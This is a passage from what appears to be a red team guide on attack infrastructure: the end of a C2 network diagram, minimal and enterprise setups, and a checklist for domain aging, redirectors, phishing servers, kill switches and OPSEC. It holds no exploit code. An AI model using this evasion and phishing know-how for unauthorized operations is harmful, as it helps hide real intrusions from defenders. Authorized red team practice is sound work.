    MYTHIC -->|"Backup C2"| CF

    RHTTP1 --- DOM1
    RHTTP2 --- DOM2
    RDNS --- DNSDOM
    RSMTP --- DOM3

    DOM1 -->|"HTTPS"| FW
    DOM2 -->|"HTTPS"| PROXY
    DNSDOM -->|"DNS"| FW
    DOM3 -->|"Email"| MAIL

    FW --> WS
    PROXY --> WS
    MAIL --> WS
    WS --> SRV
    WS --> DC

Minimal Infrastructure (Short Engagement)

For a quick one-to-two-week engagement, a minimal setup may suffice:

  • 1 team server
  • 1 HTTPS redirector with two domains
  • 1 phishing server (if social engineering is in scope)
  • Commercial VPN for operator access

Enterprise-Scale Infrastructure (Long Engagement)

For a multi-month engagement against a mature security team:

  • 2+ team servers (primary and backup, different C2 frameworks)
  • 4+ HTTPS redirectors across different cloud providers and regions
  • 2+ DNS redirectors for DNS C2 channels
  • Dedicated phishing infrastructure (mail server, landing page server, tracking server)
  • CloudFlare Worker or Lambda function as emergency backup C2
  • Pre-staged cold-standby redirectors ready to activate
  • 6+ domains across multiple registrars, aged 3-6 months
  • Separate infrastructure for different engagement phases (initial access vs. post-exploitation)

Operational Checklist

Use the following checklist when standing up red team infrastructure for a new engagement:

Pre-Engagement (4-12 Weeks Before)

  • Register domains and begin aging process
  • Submit domains for categorization with web filter vendors
  • Acquire SSL certificates (generate CT log entries early)
  • Set up cloud accounts with engagement-specific credentials
  • Create Terraform and Ansible templates (or adapt from prior engagements)
  • Generate unique SSH keys for the engagement

Deployment (1-2 Weeks Before)

  • Deploy team server and harden it (firewall, SSH, fail2ban)
  • Deploy redirectors and configure filtering rules
  • Deploy phishing infrastructure (mail server, GoPhish, landing pages)
  • Configure DNS records (A, CNAME, MX, TXT, NS)
  • Test C2 callbacks through the full chain (implant → redirector → team server)
  • Test phishing delivery (SPF, DKIM, DMARC passing)
  • Test kill switch procedures
  • Verify OPSEC — no leaks between operator identity and infrastructure

During Engagement

  • Monitor redirector logs for scanning or investigation activity
  • Rotate redirectors if any show signs of detection
  • Maintain encrypted backups of logs and loot
  • Document all infrastructure changes with timestamps

Post-Engagement

  • Preserve evidence per client agreement
  • Execute terraform destroy to tear down all cloud resources
  • Release domains (or transfer to client if requested)
  • Securely delete local copies of engagement data per retention policy
  • Document infrastructure lessons learned

Key Takeaways

  1. Layer everything: Operators never touch the target directly. Every connection passes through disposable redirectors.
  2. Automate everything: Use Terraform and Ansible so infrastructure can be deployed in minutes and destroyed in seconds.
  3. Separate everything: Different servers for different functions, different accounts for different engagements, different domains for different channels.
  4. Age your domains: Reputation matters. Start domain preparation months before the engagement.
  5. Plan for failure: Assume every component will be burned. Have redundancy and replacement procedures ready.
  6. OPSEC is not optional: VPN chains, unique credentials, secure deletion, and clean separation between your identity and the engagement infrastructure.

The infrastructure described here is the foundation on which C2 Frameworks operate, Initial Access campaigns are launched, and Stealth & Evasion techniques are sustained over long engagements.